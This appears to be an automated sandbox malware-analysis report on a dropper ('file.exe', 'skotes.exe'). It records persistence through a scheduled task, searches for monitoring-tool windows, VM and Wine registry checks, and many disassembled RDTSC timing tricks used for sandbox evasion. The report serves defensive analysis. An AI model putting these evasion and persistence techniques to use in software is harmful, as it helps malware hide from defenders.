Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B38A second address: 33B394 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCDDCF97D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B394 second address: 33B3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FCDDCC991D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B3A2 second address: 33B3B6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCDDCF97D16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FCDDCF97D1Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B3B6 second address: 33B3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FCDDCC991E1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E78F second address: 34E79D instructions: 0x00000000 rdtsc 0x00000002 js 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E79D second address: 34E7A7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCDDCC991D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E931 second address: 34E936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED39 second address: 34ED43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED43 second address: 34ED5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 jmp 00007FCDDCF97D21h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED5D second address: 34ED67 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCDDCC991E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED67 second address: 34ED75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCDDCF97D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED75 second address: 34ED7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED7B second address: 34ED7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3514F2 second address: 351515 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FCDDCC991E5h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35164E second address: 3516B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FCDDCF97D22h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 jo 00007FCDDCF97D29h 0x00000018 jmp 00007FCDDCF97D23h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 pushad 0x00000024 jmp 00007FCDDCF97D1Dh 0x00000029 push edi 0x0000002a pop edi 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3516B3 second address: 3516B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351780 second address: 3517EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D28h 0x00000009 popad 0x0000000a jmp 00007FCDDCF97D29h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FCDDCF97D21h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007FCDDCF97D27h 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 push edx 0x00000027 pop edx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3517EE second address: 3517F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3517F4 second address: 351897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FCDDCF97D27h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FCDDCF97D18h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FCDDCF97D18h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov edi, dword ptr [ebp+122D39A6h] 0x0000004e mov edi, dword ptr [ebp+122D396Ah] 0x00000054 push 00000000h 0x00000056 add edi, 04D4241Ch 0x0000005c mov esi, dword ptr [ebp+122D2F84h] 0x00000062 push 00000003h 0x00000064 xor di, 56FAh 0x00000069 call 00007FCDDCF97D19h 0x0000006e pushad 0x0000006f push edi 0x00000070 push edx 0x00000071 pop edx 0x00000072 pop edi 0x00000073 jbe 00007FCDDCF97D1Ch 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351897 second address: 3518D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 je 00007FCDDCC991E7h 0x0000000c jmp 00007FCDDCC991E1h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FCDDCC991E8h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3518D8 second address: 3518DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3518DC second address: 3518E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3518E2 second address: 35195A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FCDDCF97D28h 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FCDDCF97D18h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov esi, edx 0x0000002f lea ebx, dword ptr [ebp+124563EEh] 0x00000035 add dword ptr [ebp+122D3539h], eax 0x0000003b xchg eax, ebx 0x0000003c jc 00007FCDDCF97D1Eh 0x00000042 push edi 0x00000043 jl 00007FCDDCF97D16h 0x00000049 pop edi 0x0000004a push eax 0x0000004b push edx 0x0000004c push ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351982 second address: 3519D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FCDDCC991DDh 0x0000000a popad 0x0000000b push eax 0x0000000c jno 00007FCDDCC991DEh 0x00000012 nop 0x00000013 jmp 00007FCDDCC991DEh 0x00000018 push 00000000h 0x0000001a jmp 00007FCDDCC991E7h 0x0000001f push 088A2CEEh 0x00000024 pushad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3519D5 second address: 3519DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3519DB second address: 351A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FCDDCC991DDh 0x0000000a popad 0x0000000b xor dword ptr [esp], 088A2C6Eh 0x00000012 cmc 0x00000013 push 00000003h 0x00000015 mov dword ptr [ebp+122D1BB9h], esi 0x0000001b clc 0x0000001c push 00000000h 0x0000001e jmp 00007FCDDCC991E5h 0x00000023 call 00007FCDDCC991DDh 0x00000028 mov edi, dword ptr [ebp+122D2009h] 0x0000002e pop edx 0x0000002f push 00000003h 0x00000031 jnl 00007FCDDCC991D7h 0x00000037 call 00007FCDDCC991D9h 0x0000003c push eax 0x0000003d push edx 0x0000003e jbe 00007FCDDCC991D8h 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351A46 second address: 351A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351A4C second address: 351A80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCDDCC991E7h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jc 00007FCDDCC991D6h 0x0000001b je 00007FCDDCC991D6h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351A80 second address: 351A95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCF97D21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351A95 second address: 351A99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351A99 second address: 351AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351AA7 second address: 351AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 370830 second address: 370836 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 370C1A second address: 370C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 370ED1 second address: 370F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D27h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pushad 0x0000000d js 00007FCDDCF97D16h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007FCDDCF97D16h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 370F01 second address: 370F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371093 second address: 3710B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCDDCF97D16h 0x0000000a jmp 00007FCDDCF97D29h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3710B7 second address: 3710C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991DAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3710C7 second address: 3710CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3710CB second address: 3710D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3710D1 second address: 3710DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FCDDCF97D16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3710DF second address: 3710F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3710F5 second address: 371111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCDDCF97D1Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371816 second address: 37181E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365C9B second address: 365C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33E883 second address: 33E8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FCDDCC991DBh 0x0000000a push ebx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FCDDCC991E4h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372363 second address: 372367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372367 second address: 372377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372377 second address: 372390 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007FCDDCF97D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jnl 00007FCDDCF97D16h 0x00000016 pushad 0x00000017 popad 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372390 second address: 37239C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FCDDCC991D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37239C second address: 3723A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3723A0 second address: 3723A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3723A4 second address: 3723BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCDDCF97D21h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3723BD second address: 3723C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372511 second address: 372517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372517 second address: 37251D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372821 second address: 37282A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37282A second address: 372831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F26 second address: 374F30 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F30 second address: 374F5E instructions: 0x00000000 rdtsc 0x00000002 js 00007FCDDCC991D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FCDDCC991E7h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F5E second address: 374F64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F64 second address: 374F69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F69 second address: 374F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F6F second address: 374F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F7D second address: 374F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F81 second address: 374F8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
